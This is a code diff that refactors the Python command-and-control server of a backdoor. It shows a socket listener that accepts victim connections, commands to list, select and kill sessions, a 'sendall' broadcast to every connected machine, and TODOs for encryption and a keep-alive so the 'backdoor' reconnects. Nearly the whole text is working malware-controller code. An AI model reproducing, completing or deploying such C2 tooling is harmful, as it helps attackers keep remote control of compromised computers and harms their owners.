@@ -151,14 +151,37 @@ def accept_connections():
151
151
targets .append (target )
152
152
ips .append (ip )
153
153
# print(termcolor.colored(str(ip) + ' has connected!', 'green'))
154
- print (Colour ().green (str (ip ) + " has connected!" ))
155
- print ( ' [**] Command & Control Center: ' , end = "" )
154
+ print (Colour ().green (str (ip ) + ' has connected!' ) +
155
+ ' \n [**] Command & Control Center: ' , end = "" )
156
156
except :
157
157
pass
158
158
159
159
160
160
# Work in progress (currently 'exit' command is buggy when issued from c2()
161
- def c2 ():
161
+ # def c2():
162
+ #
163
+ # def exit_c2(targets, t1, sock): # function of: elif command == 'exit':
164
+ # for target in targets:
165
+ # reliable_send(target, 'quit')
166
+ # target.close()
167
+ # sock.close()
168
+ # stop_flag = True
169
+ # t1.join()
170
+
171
+
172
+ if __name__ == '__main__' :
173
+ targets = []
174
+ ips = []
175
+ stop_flag = False
176
+ sock = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
177
+ sock .bind (('127.0.0.1' , 5555 ))
178
+ sock .listen (5 )
179
+ t1 = threading .Thread (target = accept_connections )
180
+ t1 .start ()
181
+ print (banner ())
182
+ print ('Run "help" command to see the usage manual' )
183
+ print (Colour ().green ('[+] Waiting For The Incoming Connections ...' ))
184
+
162
185
while True :
163
186
try :
164
187
command = input ('[**] Command & Control Center: ' )
@@ -207,103 +230,17 @@ def c2():
207
230
elif command [:4 ] == 'help' :
208
231
c2_help_manual ()
209
232
else :
210
- # print(termcolor.colored('[!!] Command Doesnt Exist', 'red'))
211
233
print (Colour ().red ('[!!] Command Doesnt Exist' ))
212
234
except (KeyboardInterrupt , SystemExit ):
213
235
if input ('\n Do you want to exit? yes/no: ' ) == 'yes' :
236
+ sock .close ()
237
+ print (Colour ().yellow ('\n [-] C2 Socket Closed! Bye!!' ))
214
238
break
215
239
except ValueError as e :
216
- print ('[!!] ValueError: ' + str (e ))
240
+ print (Colour (). red ( '[!!] ValueError: ' + str (e ) ))
217
241
continue
218
- finally :
219
- sock .close ()
220
- print ('\n [-] C2 Socket Closed! Bye!!' )
221
-
222
-
223
- def exit_c2 (targets ): # function of: elif command == 'exit':
224
- for target in targets :
225
- reliable_send (target , 'quit' )
226
- target .close ()
227
- sock .close ()
228
- stop_flag = True
229
- t1 .join ()
230
- SystemExit ()
231
-
232
-
233
- targets = []
234
- ips = []
235
- stop_flag = False
236
- sock = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
237
- sock .bind (('127.0.0.1' , 5555 )) # sudo fuser -k 5555/tcp
238
- sock .listen (5 )
239
- t1 = threading .Thread (target = accept_connections )
240
- t1 .start ()
241
- print (banner ())
242
- print ('Run "help" command to see the usage manual' )
243
- print (Colour ().green ('[+] Waiting For The Incoming Connections ...' ))
244
-
245
- # c2()
246
-
247
- # Command and control code (legacy)
248
- while True :
249
- try :
250
- command = input ('[**] Command & Control Center: ' )
251
- if command == 'targets' :
252
- counter = 0
253
- for ip in ips :
254
- print ('Session ' + str (counter ) + ' --- ' + str (ip ))
255
- counter += 1
256
- elif command == 'clear' :
257
- os .system ('clear' )
258
- elif command [:7 ] == 'session' :
259
- try :
260
- num = int (command [8 :])
261
- tarnum = targets [num ]
262
- tarip = ips [num ]
263
- target_communication (tarnum , tarip )
264
- except :
265
- print ('[-] No Session Under That ID Number' )
266
- elif command == 'exit' :
267
- for target in targets :
268
- reliable_send (target , 'quit' )
269
- target .close ()
270
- sock .close ()
271
- stop_flag = True
272
- t1 .join ()
273
- break
274
- elif command [:4 ] == 'kill' :
275
- targ = targets [int (command [5 :])]
276
- ip = ips [int (command [5 :])]
277
- reliable_send (targ , 'quit' )
278
- targ .close ()
279
- targets .remove (targ )
280
- ips .remove (ip )
281
- elif command [:7 ] == 'sendall' :
282
- x = len (targets )
283
- print (x )
284
- i = 0
285
- try :
286
- while i < x :
287
- tarnumber = targets [i ]
288
- print (tarnumber )
289
- reliable_send (tarnumber , command )
290
- i += 1
291
- except :
292
- print ('Failed' )
293
- elif command [:4 ] == 'help' :
294
- c2_help_manual ()
295
- else :
296
- print (Colour ().red ('[!!] Command Doesnt Exist' ))
297
- except (KeyboardInterrupt , SystemExit ):
298
- if input ('\n Do you want to exit? yes/no: ' ) == 'yes' :
299
- sock .close ()
300
- print (Colour ().yellow ('\n [-] C2 Socket Closed! Bye!!' ))
301
- break
302
- except ValueError as e :
303
- print (Colour ().red ('[!!] ValueError: ' + str (e )))
304
- continue
305
242
306
243
# TODO: encrypt connection
307
244
# TODO: Implement a 'pulse' feature between server and backdoor (Keep alive)
308
245
# This will ensure if server.py crashes the backdoor will after 60s will realise server is not listen on socket
309
- # and will attempt to run connection() function again.
246
+ # and will attempt to run connection() function again.
0 commit comments